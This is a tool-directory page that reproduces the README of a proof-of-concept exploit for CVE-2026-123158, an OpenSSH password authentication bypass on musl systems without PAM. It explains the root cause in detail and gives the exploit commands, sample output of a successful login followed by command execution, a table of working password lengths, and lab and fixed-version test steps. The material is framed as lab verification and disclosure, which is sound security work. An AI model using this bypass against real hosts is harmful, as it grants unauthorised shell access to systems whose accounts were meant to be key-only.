Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-123158 — Proof-of-concept for CVE-2026-123158: OpenSSH with musl libc and no PAM accepts 257-1024 byte passwords for accounts whose shadow field is "*", bypassing SSH authentication. | Kitploit
Tools/GitHubGitHub/mmitsuha/cve-2026-123158
Vulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubmmitsuha/cve-2026-123158

CVE-2026-123158

Proof-of-concept for CVE-2026-123158: OpenSSH with musl libc and no PAM accepts 257-1024 byte passwords for accounts whose shadow field is "*", bypassing SSH authentication.

9 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-123158 ("sshole") OpenSSH/musl Password Authentication Bypass PoC

Targets Linux systems running OpenSSH < 10.6p2 with musl libc and without PAM compiled in (Alpine's default configuration satisfies this). When the target account's /etc/shadow password field is exactly * (key-only/locked-password accounts), an attacker can log in via SSH password authentication using any password of 257–1024 bytes.

ItemValue
CVECVE-2026-123158
Codenamesshole
TypeCWE-394 (Unexpected Status Code/Return Value), authentication bypass
CVSS 3.18.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected versionsOpenSSH 7.3p1 ≤ version < 10.6p2, musl + no PAM
Fixed versionsOpenSSH 10.6p2 / Alpine openssh-server-9.9_p2-r1

1. Vulnerability Principle

Three conditions converge on the same strcmp():

  1. musl crypt(3)'s KEY_MAX = 256: when the key exceeds 256 bytes, it directly returns the literal "*" without hashing (see empirical test below).
  2. OpenSSH pick_salt() (introduced by CVE-2016-6210): when the account's shadow field has no usable salt (*, !, empty), it borrows a $5$/$6$ salt from another account on the system.
  3. sshd compares crypt(password, salt) with the shadow field using strcmp: a long password yields "*", which equals the account field "*".
victim shadow = "*"
password      = "A" * 300
pick_salt()   -> "$6$Xk9pQ2mZ"        (借自 donor 账户)
crypt(300B)   -> "*"                   (musl KEY_MAX)
strcmp("*", "*") == 0                  -> 认证通过

Why the Same Connection Sends Two Authentication Requests

This is the key detail discovered through testing (and also the reason for the "first attempt rejected, second attempt succeeds" behavior in the public lab):

  • First request: in sys_auth_passwd(), pw_password points to the static buffer of getspnam(). Then pick_salt() internally calls getspnam() repeatedly and explicit_bzero()s that buffer, so pw_password is overwritten and strcmp() fails; at the same time, the static salt[32] in pick_salt() is filled.
  • Second request: pick_salt() hits the static cache and returns the salt directly without scanning shadow again, so pw_password remains "*", crypt() returns "*", and the comparison succeeds.

Therefore, by default the PoC attempts up to 3 times on the same TCP connection (--attempts), and the bypass is completed on the 2nd attempt; --attempts 1 will fail consistently and can serve as a control experiment for this mechanism.


2. Directory Structure

CVE-2026-123158/
├── sshole_poc.py                    # 主 PoC(paramiko 客户端)
├── mock_vuln_sshd.py                # 本地脆弱 sshd 模拟器(无 Docker 也能验证)
├── tests/e2e_test.py                # 26 项端到端测试(真实 TCP + 模拟器)
├── lab/
│   ├── alpine-openssh-sshd/         # 真实靶场镜像(OpenSSH 9.7p1 / Alpine 3.20)
│   │   ├── Dockerfile               # 基于 bengt/alpine-openssh:alpine-3.20
│   │   ├── Dockerfile.source        # 源码构建任意版本(A/B 用 10.6p2)
│   │   └── setup.sh                 # victim:* / donor:$6$ / sshd 配置
│   └── trace/                       # LD_PRELOAD 记录 crypt() 调用的调试镜像
├── .deps/                           # 本地 paramiko 5.1.0(可直接运行)
└── README.md

Dependencies: Python 3.8+, paramiko. They are already installed in the current directory .deps/, and the script will automatically add it to sys.path; when switching machines, you can run:

python -m pip install --target .deps paramiko
# 或:uv pip install --target .deps paramiko

3. Quick local verification (no Docker required)

python sshole_poc.py --self-test
length   musl crypt()       sshd accepts       verdict
256      hashes normally    no                 PASS
257      returns "*"        yes                PASS
...
result: PASS

Start the emulator and attack:

python mock_vuln_sshd.py --port 2222 --verbose      # 终端 1
python sshole_poc.py -p 2222 -u victim -l 300       # 终端 2

The emulator replicates musl KEY_MAX, the pick_salt() static cache, and the buffer overwrite on the first request, so the first request is rejected and the second passes, consistent with real sshd.

Full regression:

python tests/e2e_test.py        # 26/26 passed

4. Real Docker lab (verified on 192.168.1.49)

The local Docker context debian points to ssh://debian (192.168.1.49, Debian 13). The image is based on bengt/alpine-openssh:alpine-3.20: OpenSSH 9.7p1, Alpine 3.20.10, musl, not linked against libpam (ldd /usr/sbin/sshd shows no libpam).

docker build -t cve-2026-123158-lab lab/alpine-openssh-sshd
docker rm -f cve-2026-123158-lab
docker run -d --name cve-2026-123158-lab -p 2222:2222 cve-2026-123158-lab

Accounts in the container:

Accountshadow fieldPurpose
victim*Bypass target, any password of 257–1024 bytes
donor$6$Xk9pQ2mZ$...Provides the salt borrowed by pick_salt() (password donorpass)

Attacking from Windows:

python sshole_poc.py --target 192.168.1.49 --port 2222 --user victim --length 300

Actual output:

[*]  CVE-2026-123158 (sshole) - OpenSSH/musl password auth bypass
[*]  target        : 192.168.1.49:2222
[*]  user          : victim
[*]  server banner : SSH-2.0-OpenSSH_9.7
[*]  password len  : 300 (window 257..1024)
[*]  auth method   : password (2 attempts)
[+]  AUTHENTICATED as 'victim' with the long password after 2 attempts
[*]  command       : id; uname -a; cat /etc/alpine-release ...; ldd --version ... (exit 0)
     uid=1001(victim) gid=1001 groups=1001
     Linux e4d5bcc92da5 6.12.115+deb13.1-amd64 ... x86_64 Linux
     3.20.10
     musl libc (x86_64)
[+]  VERDICT: VULNERABLE - authentication bypassed (CVE-2026-123158)

Boundary and comparison (on the same real target host):

ScenarioResultExit code
victim + 256 B (3 attempts)Rejected, crypt() returns a real $6$ hash1
victim + 257 BSucceeds on the 2nd attempt0
victim + 300 BSucceeds on the 2nd attempt0
victim + 1024 BSucceeds on the 2nd attempt0
victim + 300 B + --attempts 1Rejected (no pre-warmed pick_salt())1
victim + 1025 BRejected by the client (sshd limit 1024)2
donor + donorpassNormal login (proves the hash path works)0
donor + 300 BRejected (real hash accounts are unaffected)1

musl crypt() measured (compiled with gcc inside the container):

len= 255 -> $6$Xk9pQ2mZ$79wP2FVO3P6w...
len= 256 -> $6$Xk9pQ2mZ$RV3YnJuYP6Sz...
len= 257 -> *          <== KEY_MAX 触发
len=1024 -> *

5. Fixed version A/B (10.6p2)

lab/alpine-openssh-sshd/Dockerfile.source builds any version from source:

docker build -f lab/alpine-openssh-sshd/Dockerfile.source \
  --build-arg OPENSSH_VERSION=10.6p2 -t cve-2026-123158-fixed lab/alpine-openssh-sshd
docker run -d --name cve-2026-123158-fixed -p 2223:2222 cve-2026-123158-fixed
python sshole_poc.py -t 192.168.1.49 -p 2223 -u victim -l 300   # 期望 exit 1

Tested (Alpine 3.22.5 + musl + OpenSSH_10.6p2, also containing victim:* and donor):

[*]  server banner : SSH-2.0-OpenSSH_10.6
[-]  authentication rejected: password attempt 1/2/3: Authentication failed.
[-]  VERDICT: NOT VULNERABLE via this path
exit=1
donor on fixed: True        # 正常密码账户仍可登录

Fix in 10.6p2 (source diff summary):

  • shadow_pw() now returns an xstrdup() copy, and pick_salt() calls freezero() on each iteration, eliminating the issue of the static buffer being overwritten;
  • Before the authentication comparison, strlen(pw_password) >= MIN_PASSWORD_HASH_LEN (4) is added, so short fields such as */! are rejected directly;
  • The caller is responsible for freeing the copy.

6. Parameters and Output

Download Tool